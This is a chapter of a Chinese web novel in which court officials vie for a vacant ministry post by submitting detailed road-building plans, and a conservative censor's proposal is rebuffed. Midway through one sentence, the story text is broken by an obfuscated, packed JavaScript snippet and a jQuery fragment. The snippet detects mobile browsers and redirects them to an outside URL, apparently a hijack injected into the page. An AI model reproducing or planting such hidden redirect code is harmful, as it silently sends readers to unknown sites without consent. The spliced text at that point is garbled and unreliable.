第299章 一池沸腾的锦鲤
作品:《我只想种田,女帝非要我打天下》 长安城一夜未眠。
当天光乍亮,那股由圣工王府投下的暗流,终于在太极殿前汇成了肉眼可见的汹涌波涛。
前往早朝的官员们,三三两两地**在一起,往日里那套“王兄早”、“李大人气色不错”的寒暄客套消失得无影无踪,取而代之的,是压低了嗓门的窃窃私语和彼此间充满审视、戒备与敌意的眼神。
每个人都像一只炸了**的公鸡,警惕地打量着身边的每一个同僚,仿佛对方随时可能从袖子里掏出一份惊天动地的奏疏,抢走那悬在半空中的、独一无二的诱人鱼饵。
吏部尚书之位!
这个象征着天下官吏荣辱升迁的“天官”宝座,即将空悬!
这不再是一个简单的职位空缺,这是一场史无前例、不设门槛的“大考”。
考官,正是那位站在百官之首,正百无聊赖地打着哈欠的圣工王。
早朝开始,气氛诡异到了极点。
几项关于城防交接、物资清点的常规事务奏报完毕后,偌大的太极殿内,竟陷入了长久的、令人窒息的沉默。
所有人都心怀鬼胎,眼观鼻鼻观心,却又不知该如何打响这决定未来仕途的第一枪。
龙椅之上,萧青鸾面沉如水,凤眸中威严流转。
她与站在百官之首的李澈交换了一个只有彼此才能看懂的眼神,随即不再言语,静静地等待着,等待着那条最先按捺不住、跃出水面的鱼儿。
终于,这令人窒息的沉默,被一阵清朗却又带着一丝紧张的声音打破。
“臣,工部屯田司郎中卢正,有本启奏!”
所有人的目光“唰”的一下,聚焦在了那个从队列中走出的身影上。
卢正,一个年约三旬、貌不惊人的五品官,平日里在朝堂上毫无存在感,属于那种扔进人堆里就再也找不出来的角色。
然而此刻,他手持笏板,虽因紧张而指节发白,腰杆却挺得笔直。
他既没有慷慨激昂地表忠心,也没有引经据典地谈空话,而是直接从怀中取出一份厚厚的、写满了密密麻麻小字的奏疏,双手呈上。
“陛下,圣工王殿下。臣连夜思索‘千里国道’之宏图,辗转反侧,夜不能寐。臣才疏学浅,不敢妄议国策,仅就国道首段,也就是京兆府境内百里路段的水泥备料及运输效能,提出几点刍议。”
他打开奏疏,清朗的声音回荡在大殿之中,没有半分虚言,全是干货。
“其一,水泥窑选址。臣以为,蓝田县南山石灰石矿储量最丰,品质最佳,且紧邻灞水,水运便利,可在此建立一号窑场。另,长安城北渭河沿岸,黏土资源丰富,可建二号窑场,两地互为犄角,确保原料供应万无一失。”
“其二,人力调配。据臣初步估算,两座窑场满负荷运转,需熟练工匠三百名,辅以杂工三千人。臣建议,可从工建兵团中优先筛选有烧窑、采石经验之降卒,以老带新,三月之内,便可形成有效产能。”
“其三,运输路线……”
他从水泥窑的选址、石料的开采、人力调配的精确数字,到运输路线的最优规划,洋洋洒洒,列出了十五条具体详尽、数据精确到“两”和“人”的建议。
这份奏疏的务实与专业,如同一道惊雷,狠狠劈在了这群习惯了空谈阔论的朝臣头顶!
整个太极殿,从最初的惊愕,到中段的哗然,最终陷入了一片震撼的死寂。
这……这也是奏疏?
这分明是一份可以直接下发执行的施工方案啊!
卢正奏报完毕,躬身退下。
他这石破天惊的一跃,像一个信号弹,彻底点燃了整个鱼塘!
他前脚刚退回队列,后脚立刻便有数名中层官员接连出列,仿佛生怕慢了一步,鱼饵就会被抢光。
“臣,户部度支司主事张远,有本启奏!此乃臣连夜草拟之《薪俸改革地方账目审计草案》,其中详列了三十七条防范虚报、冒领之具体措施!”
“臣,兵部武库司员外郎王凯,有本启奏!臣以为,组建皇家工程兵团,兵源筛选与初训条令当为重中之重!臣斗胆,拟定《兵源筛选与初训条令》草案一份,请陛下与王爷御览!”
“臣,大理寺评事李炎,有本启奏!国道沿线,人流混杂,治安问题不容忽视!臣建议,设立‘国道沿线治安驿站’,并就其司法管辖权划定,提出初步方案……”
一时间,太极殿彻底变成了大型的方案研讨会、项目竞标会!
官员们争先恐后,一个个双目放光,将自己压箱底的本事全都亮了出来。
昔日死气沉沉、只知空谈内耗的朝会,此刻充满了高效务实、甚至有些疯狂的竞争活力。
就在这气氛达到高潮,连龙椅上的萧青鸾都忍不住露出一丝笑意时,一个不和谐的声音响了起来。
一位须发花白、身形佝偻的老御史,颤巍巍地出列。
他是博陵李氏的远亲,在朝中以“德高望重”著称。
他先是老泪纵横地盛赞了圣工王与陛下的宏图伟略,称此乃“千古未有之盛举”。
随即,他话锋一转,那张布满褶皱的脸上,瞬间充满了悲天悯人的忧虑。
“千里国道,利在千秋,但亦需体恤民力。老臣听闻,工程或将征用囚犯。此虽为化腐朽为神奇之善举,然囚犯多为凶顽之辈,若只以律
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16994684|187587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
法、薪酬驱使,恐失教化之功,非王道所为。”
他对着龙椅深深一揖,声音悲怆:“老臣恳请陛下,成立‘国道教化监察司’,由朝中如臣一般德高望重之大儒,巡回宣讲圣人之言,以仁德教化囚犯,安抚其心,方能彰显陛下仁政!”
满朝瞬间安静了下来。
谁都听得出来,这是旧势力企图安插人手、用“仁德”这把软刀子来拖慢工程进度的阳谋。
李澈闻言,却笑着上前一步,对着老御史拱了拱手,一脸赞叹:“老大人思虑周全,仁心可嘉,本王佩服。”
老御史脸上刚露出一丝得色,李澈却话锋一转,笑容变得玩味起来。
“不过,本王认为,对那些犯了错的人来说,最好的‘教化’,是让他们凭自己的双手,挣到第一笔干净的薪饷;是让他们退役之后,能有一技之长,堂堂正正地养家糊口。”
他环视全场,声音陡然拔高:“皇家工程兵团将实行薪酬积分制!修路、架桥、开矿,皆可换算积分!积分可用来减刑,可用来换取更好的食宿,表现最优异者,甚至可转为正式国民,获得在长安城落户的资格!”
“至于贪腐监督,”他看了一眼那位老御史,咧嘴一笑,“朕新设的‘绩效考核司’会派驻专业的审计小组,盯着每一笔账目。这,可比念一万遍《论语》都有用。”
李澈话音刚落,萧青鸾威严的声音便从龙椅之上传来,一锤定音!
“圣工王所言极是!仁政,不是挂在嘴上的空话,而是让百姓有饭吃、有活干、有尊严!”
她目光扫向吏部尚书孙文博,声音中充满了不容置疑的授权。
“即日起,所有关于国道与薪俸改革之奏疏,一并交由吏部尚书孙文博汇总,择优呈览!孙爱卿,朕给你授权,凡献策有功、能力出众者,无论出身品级,皆可破格提拔,优先纳入吏部尚书的候选名单!”
此言一出,整个太极殿的空气,仿佛都燃烧了起来!
博陵李氏的宅邸内,青烟袅袅。
族老李元修听完早朝的汇报,久久不语,只是用那双布满老年斑的手,缓缓摩挲着一枚冰冷的黑玉棋子。
许久,他才睁开那双浑浊的双眼,对面前几个家族核心人物,声音沙哑地说道:“我们都小看他了。他不是在**,他是在制定规则,让我们这些旧人,连上牌桌的资格都在慢慢丧失。”
“明着来,我们已经没有胜算了……”
他缓缓将那枚黑子,落在了棋盘一处看似毫不相关的角落。
“启动‘暗棋’吧。既然不能在朝堂上阻止他修路,那就让这条路,永远修不到雁门关。”

